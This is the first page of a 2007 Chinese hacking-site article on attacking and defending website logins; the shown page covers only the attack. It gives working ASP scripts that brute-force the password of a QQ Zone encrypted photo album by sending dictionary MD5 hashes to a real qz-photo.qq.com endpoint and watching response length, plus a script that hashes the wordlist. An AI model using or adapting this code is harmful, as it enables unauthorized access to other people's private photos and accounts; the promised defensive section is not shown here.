黑客风云——风云网络
设为首页 加入收藏 我要投稿 网站地图

您现在的位置: 黑客风云 >> 黑客文章 >> 网管频道 >> 入侵检测 >> 正文
·没有路由密码权限时的鸽08-23·上网安全 Vista自我防范10-11
·让濒临崩溃的Windows XP10-11·有备无患,快速自制救急10-11
·要你好看!Windows看图工10-11·空间赞助网提供不同类型10-11
·讨论net.exe和net1.exe的10-10·让3389远程桌面传输更通10-10
·巧妙入侵渗透赌博站10-10·Aspx空间扫权限工具10-10
·Windows2003最新提权工具10-10·易淘乐提供100M免费全能10-10
·系统开机密码忘了不着急10-09·中意网络提供免费100M免10-09
·与众不同 Windows XP开始10-08·让桌面图标翻跟斗 在XP上10-08
·上海宽元站长资助计划-提10-08·个性化Windows XP的任务10-07
·趣盘提供3G免费网络硬盘10-07·秀山热线提供200MB免费全10-07
·一次艰辛的提权过程10-06·成功入侵IT大卖场的渗透10-06
·mysqlhack- MYSQL利用工10-06·lanker一句话PHP后门客户10-06
·WIXI提供3G免费多媒体网10-06·新人网络提供100M/ftp免10-06
·如何利用QQ带来高流量10-05·UuShare提供免费网络文件10-05
[推荐]网站登陆接口的攻与防
      ★★★★★

网站登陆接口的攻与防

文章整理发布:黑客风云 文章来源:www.05112.com 更新时间:2007-9-4 17:20:25

随着技术的成熟,现在的网站安全也随着提高了很多,但还是有不少有待提高的地方。对于网站,我一直以来都想写一个好的登陆接口,因为现在大部分的网站的登陆接口我真的不大满意,多多少少都存在一些漏洞――比如cookie欺骗、SQL注入、暴力破解等,尤其是暴力破解的防范方面,有些做得不够彻底。最近我终于有 了时间,所以就有了下文――本文只讨论暴力破解及单用户同时刻登陆次数这两个攻防问题。

攻:
暴力破解使用的是穷举大法。别看不起这个世界上最笨的方法,这个方法在没有办法的时候就是最好的办法!现在我就先写一个暴力破解程序(就用千寂孤城所介绍的XMLHTTP控件――简单嘛^.^),不过需要的必要条件就是要有一个Web环境――假如你网上没有空间的话,可以用系统安装盘在本地安装一个 IIS,搭建一个asp环境的Web服务器也行。
代码如下:

以下是引用片段:
<%
'************************************************************************
'* 文件名: ForceCheck.asp
'* 原作者: 沈杰[breach]
'* 创建日期:2006.7. 27
'***********************************************************************
%>
<%

dim i ,path,pwd
const forreading=1,forwriting=2,forappending=8
set fso=createobject("Scripting.FileSystemObject")
path=server.mappath("pass.txt")
set zidian = fso.opentextfile(path,forreading,true)
set http = createobject("Microsoft.XMLHTTP")
http.open "get","http://qz-photo.qq.com/cgi-bin/qzone3/cgi_viewalbum",false
http.setrequestheader "content-type","application/x-www-form-urlencoded"

http.send "albumid=3158951(QQ号所对应的Q-zone中的相册唯一标记)&uin=10000(QQ号)&albpas=182be0c5cdcd5072(加密相册的密码,我们即将要暴力破解之)"
falseLend = len(http.responsebody)
response.write cstr(falseLend)+"<br>"
i=0
do while zidian.atendofstream = false
i=i+1
pwd = zidian.readline
http.open "get","http://qz-photo.qq.com/cgi-bin/qzone3/cgi_viewalbum",false
http.setrequestheader "content-type","application/x-www-form-urlencoded"
http.send "albumid=3158951&uin=100000&albpas="&pwd
if len(http.responsebody) < falseLend-1000 or len(http.responsebody) > falseLend+1000 then
response.write "相册密码:"+cstr(i)+"<br>"
response.write "密码散列值:"+pwd+"<br>"
falseLend = len(http.responsebody)
response.write cstr(falseLend)+"<br>"
response.write "<a href=http://qz-photo.qq.com/cgi-bin/qzone3/cgi_viewalbum?albumid=3158951&uin=100000&albpas="&pwd&" target=_blank> 登陆相册看相片去^.^</a>"
exit do
end if
loop
%>

在此需要说明两点:
一、我们现在要暴力破解的是Q-zone中的加密相册。至于Q-zone中的加密相册的网络地址可以通过如下的途径来获.如图1
图1


二、代码的主要意思就是说利用XMLHTTP控件通过我们自己的字典反复向网站登陆页面提交密码,再通过返回数据来判断密码是否正确。各位看不懂代码意思的请回看第八期千寂孤城的文章,他讲地很清楚拉,在此不再赘述。

我上网找了一个字典生成器,生成了足够多的字典密码(password.txt)。但是由于Q-zone中的加密相册的密码是通过MD5加密的(编写者是用 JavaScript编写的,还是在2001年就写好的!! 加密后的是32位的密文,但是经过我测试的结果可以知道,只要32位密文中的前面20位就完全可以成功登陆拉),而我们的字典生成的密码并没有通过MD5加密。所以我再写一个脚本,把我们的字典转换成相应的MD5密文。相关代码如下:

以下是引用片段:
<%
'/************************************************************************
'* 文件名: PassToMd5.asp
'* 原作者: 沈杰[breach]
'* 创建日期:2006.7.27
'***********************************************************************/
%>
<!--#include file="md5.asp"-->
<%
dim i,pwd
const forreading=1,forwriting=2,forappending=8
i =0
set fso=createobject("Scripting.FileSystemObject")
path=server.mappath("password.txt ")
set zidian = fso.opentextfile(path,forreading,true)
path1=server.mappath("pass.txt ")
set fileWrite=fso.opentextfile(path1,forappending,true)
do while zidian.atendofstream = false
pwd = zidian.readline
i=i+1
response.write md5(pwd,32)+"<br>"
fileWrite.write md5(pwd,32) &chr(13)&chr(10)

loop

fileWrite.close
set fileWrite=nothing
zidian.close
set zidian=nothing
set fso=nothing
response.end
%>

注:包含文件md5.asp是直接用动网论坛的。还有一点要说的就是,如果你觉得把ForceCheck.asp跟PassToMd5.asp合起来写顺眼点,那也是一个不错的想法!

测试的结果如下,点击“登陆相册看相片去”超链接就可以直接查看加密相册里的相片,如图2:
图2


而对于单用户同时刻登陆次数的问题,我想说的是,我上网这么久,我从没有看过那个网站会限定一个帐号同一个时刻只能登陆一次,这可能是我孤陋寡闻吧,也有可能他们觉得没有必要这样做,但是假如你在一个地方登陆这个帐号,另外一个地方的一个恶意用户知道你的帐号密码后也马上登陆你的这个帐号,你会有什么样的感受呢?并且事实上你完全感觉不到你登陆的时候就已经有人同时在使用你的帐号,这是因为现有的网站代码本身就没有实现这样的监控功能!!所以我将以下面的一段代码一起来讨论这个问题。

[1] [2] [3] 下一页

文章录入:cainiaowang    责任编辑:cainiaowang 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体:
    Copyright @2006 黑客风云 ●业务联系:QQ 联系怪人 联系奇人 Email:给怪人发邮件 给奇人发邮件
    ICP备案:冀06009886